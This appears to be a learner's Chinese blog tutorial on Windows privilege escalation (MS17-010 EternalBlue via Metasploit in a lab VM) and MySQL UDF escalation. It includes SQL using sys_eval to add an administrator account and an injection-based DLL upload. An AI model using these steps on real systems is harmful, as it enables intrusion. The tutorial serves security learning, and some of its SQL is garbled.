windows系统远程提权提升、MySQL UDF提权

本文目录

  • 权限提升
    • 提权本质
    • 提权分类
  • windows系统提权基础命令
  • windows提权辅助工具
    • 辅助工具介绍
  • windows远程提权
    • 上手操作一下
  • Mysql UDF提权
    • udf介绍
    • udf.dll获取
    • 上传udf
    • 执行提权命令

前言
小白一枚,之前听过的比较厉害的操作就是提权,维权。今天学习一下。

权限提升

提权本质

提权本质就是提升自己在服务器中的权限,获得更大的权限。
例如:在Windows系统下普通用户,通过提权获得Administrator一样的权限;在linux中通过执行编译后的程序,从普通用户权限提升到root账号权限。

提权分类

第一种分类:

  • 本地提权
    当前登录到系统是一个普通用户,通过在本地执行的操作和程序来获得更高的权限
  • 远程提权
    远程提权是指在远程的机器上对目标服务器进行对应操作和执行程序对目标系统发送数据包,针对目标系统所存在的漏洞来获得最高的权限Administrator或者root。
    第二种分类
  • 系统提权
    针对系统的弱点或者漏洞来提升应的权限
  • 第三方软件提权
    利用系统上安装的一些软件(下载的),通过这些软件来提升权限。

windows系统提权基础命令

  • 获取IP地址信息
    IP地址是计算机在网络中的门牌号,用来寻找计算机的地址。同一台计算机有多个IP地址,可以有外部连接的IP地址,内部IP地址。

在提权过程中,如果有外网IP地址,可以直接使用3389端口进行远程桌面连接。
在windows系统下使用 ipconfig /all查看网卡信息。
ipconfig获取的信息其实是不全面的,加个/all可以查看全部网卡信息。一般192.168开头的是私网地址。

  • 获取端口信息
    端口是计算机与外部连接的一个接口,每个开放的服务对应一个端口。
    windows系统下可以使用netstat命令获取端口开放状态。
    netstat -an获取当前主机所有端口的开放情况及网络连接情况。
  • 获取服务信息和进程信息
    在windows系统下可以使用tasklist /svc命令获取运行的进程名称、服务、和PID。
  • 添加链接描述进程结束、用户管理命令
    1.使用taskkill来结束进程。taskkill /?获取帮助信息。
    2.在windows系统下,系统访问需要有对应的用户和密码。
    可以通过以下命令添加用户
net user username password /add
net localgroup administrator username /add

windows提权辅助工具

辅助工具介绍

Windows-Exploit-Suggester此工具将目标补丁与Microsoft漏洞数据库进行比较,以检测目标上潜在的缺失补丁。
github项目地址——🔑传送门
安装环境:python2.7、安装xlrd模块

#只有一个python2的环境
python -m pip install xlrd
#同时集合python2和python3
python2 -m pip install xlrd

m0re
安装成功。
然后执行--update以获取漏洞文件
m0re
在文件目录下获得一个这样的文件。
然后获取一个本机文件

systeminfo

然后使用命令将这些内容写入一个文件中,

systeminfo > win7.txt

生成一个win7文件,将它粘贴到辅助工具目录下。
使用命令进行测试

python windows-exploit-suggester.py --audit -i win7.txt -d 2020-07-01-mssb.xls

然后对比出来一些重要漏洞
m0re
如:MS13-055就是13年的第55个漏洞。

windows远程提权

在授权的情况下,针对目标机器进行提权。可以首先扫描系统是否存在可利用漏洞,探测是否可以利用。

如果可以直接获得最高权限,那么就不需要本地提权,直接远程提权拿到最高权限。
介绍一个漏洞ms17-010
ms17-010是一个安全类型的补丁,MS17-010更新修复了Microsoft Windows中的漏洞。

WannaCry(又叫Wanna Decryptor),一种“蠕虫式”的勒索病毒软件,大小3.3MB,由不法分子利用NSA(National Security Agency,美国国家安全局)泄露的危险漏洞“EternalBlue”(永恒之蓝)进行传播。勒索病毒肆虐,俨然是一场全球性互联网灾难,给广大电脑用户造成了巨大损失。最新统计数据显示,100多个国家和地区超过10万台电脑遭到了勒索病毒攻击、感染。勒索病毒是自熊猫烧香以来影响力最大的病毒之一。

扫描探测ms17-010漏洞
在metasploit下直接利用ms17-010的漏洞扫描模块进行探测。
利用metasploit下的windows/smb/ms17_010_eternalblue模块进行远程提权
设置完参数就可以进行攻击:

exploit				#开始执行
shell				#使用shell命令/功能
whoami				#查询当前登录的用户会发现是windows最高权限system

这个真的厉害,学到了。

上手操作一下

首先需要开启一台win7虚拟机,然后看一下win7的IP地址。
打开kali终端输入msfconsole启用metasploit
使用搜查ms17-010模块,use auxiliary/scanner/smb/smb_ms17_010
设置rhost参数:set rhosts 192.168.xx.xx
然后run
就可以查询当前IP是否存在漏洞了。search ms17-010
m0re
可以看出,这个漏洞是2017年3月14日的。
既然存在漏洞了,那就利用这个漏洞来进行提权操作。
metasploit下也集成了ms17-010的漏洞利用模块。use exploit/windows/smb/ms17_010_eternalblue
当然还有其他的模块。下面这个就是win8系统的。现在我的是win7,所以就用上面的这个就行。
m0re
然后设置一下rhosts就行了。好像是升级了,居然这么简单。设置好参数后直接使用exploit直接进行提权,等待一会。
过程很快的还是。直接输入whoami
会发现,已经是最高权限登录到win7了
m0re
成功了。

Mysql UDF提权

udf介绍

UDF是mysql的一个拓展接口,UDF(Userdefined function)可翻译为用户自定义函数,这个是用来拓展Mysql的技术手段。

在提权过程中,经常使用mysql的udf.dl进行提权。并且提权之前,要上传udf.dll到指定的目录下。使用select@@plugin_dir;或show
variables like’plugin%’,查看具体目录。

m0re
修改目录方式:

1、mysqld.exe--plugin-dir=具体目录
2、mysqld.exe--defaults-file=具体目录
3、mysql.ini配置文件plugindir=具体目录

udf.dll获取

sqlmap下自带了对应提权使用的udf库。可以直接下载使用,但是sqlmap进行加密,需要解密使用。
sqlmap在kali中自带,可以使用下面这个方法。
sqlmap在/root/usr/share/sqlmap
关于UDF则是在
m0re
因为我的mysql是win32,所以选择32
奥,至于查看的话,在mysql命令行中使用

select @@version_compile_os;

m0re
不过这个udf是加密的,不过sqlmap中有解密的脚本,可以直接使用,脚本在extra中的cloak中,
m0re
然后就可以使用了,命令为

./cloak.py -d -i /usr/share/sqlmap/data/udf/mysql/windows/32/lib_mysqludf_sys.dll_

不过我的使用时出问题了,忙着解决,也忘了截图了。我放弃了在linux中解密的方法,我在win7中也有sqlmap,所以我就在win7中解密了,可以成功。
m0re
然后在cloak目录下生成了dll文件。
m0re

上传udf

将udf.dll文件上传到具体目录下。
具体目录上面已经说过查询方法。

上传方式:
利用SQL注入进行上传select load_file() into dumpfile " 具体路径"
使用菜刀直接上传
emmm我直接将文件放在对应目录下了,不演示上传
m0re

执行提权命令

create function sys_eval returns string soname 'udf.dll;
select* from mysqlaiunc where name='sys_eval';
select sys _eval('dir);
select sys _eval('net user user1 123 /add');
select sys _eval('net localgroup administrators user1 /add"); 
drop function sys_eval;

如果出现这样的界面就是对了。
m0re
然后进行下面的步骤就行。
m0re
然后会执行dir命令,显示当前目录下的文件。
如果电脑中安装有360安全(LM)卫士,会有提示的
m0re
emmm ,这基本就是MySQL的UDF提权的操作了。学到了好多。

此次学习到此结束。

文末寄语:

所有的悲伤,总会留下一丝欢乐的线索。所有的遗憾,总会留下一处完美的角落。我在冰封的深海,找寻希望的缺口。却在午夜惊醒时,蓦然瞥见绝美的月光。——《缺口》

热门文章

暂无图片
编程学习 ·

Python之OpenCV的学习(一)

一.安装 打开Pycharm:File -> Settings -> Project:xxxx下的Project Interpreter,如图所示然后,点击右边的加号进行搜索点击左下角Install Package即可 如果搜索不出来,可以看一下是不是pip源的问题 点击Manage Repositories我使用的是豆瓣pip源:http://pypi.douba…
暂无图片
编程学习 ·

电信云堤·抗D(电信云堤清洗高防服务器)提供超强T级DDoS处理能力

电信云堤”下辖四大产品: 电信云堤DDoS攻击防护(简称“电信云堤抗D”) 电信云堤域名安全防护(简称“电信云堤域名无忧”) 电信云堤反钓鱼网站处置(简称:“电信云堤反钓鱼”) 电信云堤网站安全专家(简称:“电信云堤网站安全专家)电信云堤抗D “电信云堤抗D”依托于中…
暂无图片
编程学习 ·

基于jupyter notebook的python编程-----Win10通过OpenCv-3.4.1进行人脸口罩数据集的模型训练并进行戴口罩识别检测

基于jupyter notebook的python编程-----Win10通过OpenCv-3.4.1进行人脸口罩数据集的模型训练并进行戴口罩识别检测目录一、OpenCv的下载及安装1、OpenCv的下载2、OpenCv的安装3、查看是否具有模型训练环境二、人脸口罩数据集的下载及处理1、人脸口罩数据集下载2、数据集重命名为…
暂无图片
编程学习 ·

设计模式-工厂模式

关注公众号 JavaStorm 获取更多精彩工厂模式定义 工厂方法(Factory Method)模式的意义是定义一个创建产品对象的工厂接口,将实际创建工作推迟到子类当中。核心工厂类不再负责产品的创建,这样核心类成为一个抽象工厂角色,仅负责具体工厂子类必须实现的接口,这样进一步抽象化…
暂无图片
编程学习 ·

2020李宏毅学习笔记——33.Network Compression(2_6)

3.为什么要pruning? 首先有一个问题:既然最后要得到一个小的network,那为什么不直接在数据集上训练小(有local minima的问题)的模型,而是先训练大模型?解释一:模型越大,越容易在数据集上找到一个局部最优解,而小模型比较难训练,有时甚至无法收敛。 解释二:2018年的…
暂无图片
编程学习 ·

04 | 如何处理消费过程中的重复消息?

1.应用场景见: https://blog.csdn.net/william_n/article/details/1040254082.学习/操作2.1 阅读文档你好,我是李玥。上节课我们讲了如何确保消息不会丢失,课后我给你留了一个思考题,如果消息重复了怎么办?这节课,我们就来聊一聊如何处理重复消息的问题。在消息传递过程中…
暂无图片
编程学习 ·

Linux彻底卸载Nginx

本机环境:centos7使用yum安装的Nginx1.首先输入命令 ps -ef | grep nginx检查一下nginx服务是否在运行。[root@localhost /]# ps -ef |grep nginx root 3163 2643 0 14:08 tty1 00:00:00 man nginx root 5427 1 0 14:50 ? 00:00:00 nginx: m…
暂无图片
编程学习 ·

Java new关键词的作用

文章目录new关键词的作用成员变量"字符串" new关键词的作用Person person = new Person();右边的new Person: 是以Person类为模板在堆中实例化一个对象。 右边的(): 意味着在对象实例化后,调用Person的构造器,对其初始化。 左边的Person person: 创建一个Person类…
暂无图片
编程学习 ·

free_spirit(在栈上爆破一个可以被free的fake_chunk)

free_spirit(在栈上爆破一个可以被free的fake_chunk)首先检查一下程序的保护机制然后,我们用IDA分析一下,功能3存在8字节溢出,将会把v7下面的buf指针覆盖掉,而覆盖了buf指针,就能实现任意地址写。那么,我们劫持函数栈返回地址为one_gadget即可,为了绕过结尾对buf的检查…
暂无图片
编程学习 ·

[TypeScript] - TypeScript官方文档学习笔记-接口-上(二)

前言 接口只是在语法层面限制写法,从而使部分语句写法不出现,本质是语法规范 接口 TypeScript中接口用来定义结构类型,出于类型检查需要 编译转换后接口消失,仅用于语法检查 普通对象传入: function printLabel(labeledObj: { label: string }) {console.log(labeledObj.l…
暂无图片
编程学习 ·

11.1 函数的默认参数

11.1 函数的默认参数 之前我们学过的,如果函数由形参,那么调用函数时要传递对性的实参。 事实上,函数可以有默认参数,这样如果不传递实参,则按照默认值给形参传值。函数声明和实现只能有一个默认参数,不能重复定义默认参数。 如果某个形参有了默认参数,则位于这个形参之…
暂无图片
编程学习 ·

Python科学计算系列12—积分变换

1.拉普拉斯变换及逆变换拉普拉斯变换公式拉普拉斯逆变换公式例子:代码如下:from sympy import * from sympy.integrals import laplace_transformt, s, a = symbols(t s a) # 拉普拉斯变换 F1 = laplace_transform(sin(a * t), t, s) F2 = laplace_transform(exp(a * t), t, …
暂无图片
编程学习 ·

从永远到永远-SpringCloud项目实战(七)-前端框架NUXT

1、什么是服务端渲染 服务端渲染又称SSR (Server Side Render)是在服务端完成页面的内容,而不是在客户端通过AJAX获取数据。 服务器端渲染(SSR)的优势主要在于:更好的 SEO,由于搜索引擎爬虫抓取工具可以直接查看完全渲染的页面。 如果你的应用程序初始展示 loading 菊花图,…
暂无图片
编程学习 ·

TextRNN的PyTorch实现

本文介绍一下如何使用PyTorch复现TextRNN,实现预测一句话的下一个词 参考这篇论文Finding Structure in Time(1990),如果你对RNN有一定的了解,实际上不用看,仔细看我代码如何实现即可。如果你对RNN不太了解,请仔细阅读我这篇文章RNN Layer,结合PyTorch讲的很详细 现在问题…
暂无图片
编程学习 ·

驾考知识自查

驾考知识自查1事故的种类没有车辆追尾路段,只有事故多发路段2驾驶证 行驶证的换领驾驶证为核发地 行驶证为登记地3山坡挂挡问题p=fv 机动车功率一定 抵挡获得更大的牵引力,但不可以松开加速踏板,松开会导致遛坡4违规处罚问题饮酒后驾驶机动车的,处暂扣六个月机动车驾驶证,…
暂无图片
编程学习 ·

G1 GC 全称Garbage-First Garbage Collector 总结

关键描述G1是一种服务器端的垃圾收集器,应用在多处理器和大内存环境中,在实现高吞吐量的同时,尽可能的满足垃圾收集暂停时间的要求,全堆操作(例如全局标记)与应用程序线程并行执行。这样可以防止与堆或活动数据大小成比例的中断。G1收集器的设计目标是取代CMS收集器,它同…
暂无图片
编程学习 ·

数据结构与算法(Python版)五十四:AVL树的定义和性能

平衡二叉查找树: AVL树的定义 我们来看看能够在key插入时一直保持平衡的二叉查找树: AVL树 AVL是发明者的名字缩写: G.M. AdelsonVelskii and E.M. Landis 利用AVL树实现ADT Map, 基本上与BST的实现相同 不同之处仅在于二叉树的生成与维护过程 AVL树的实现中, 需要对每个节…
暂无图片
编程学习 ·

springboot/mybatis之多数据源配置

注:数据源切换不可在事务内部、同一事务中数据源确定、不可切换!亦可说数据源切换必须在事务处理之前!一、功能介绍在实际的开发中,同一个项目中使用多个数据源是很常见的场景。最近在项目中正好使用到多数据源、搭建完成后记录一下!可供参考。二、配置文件application.ym…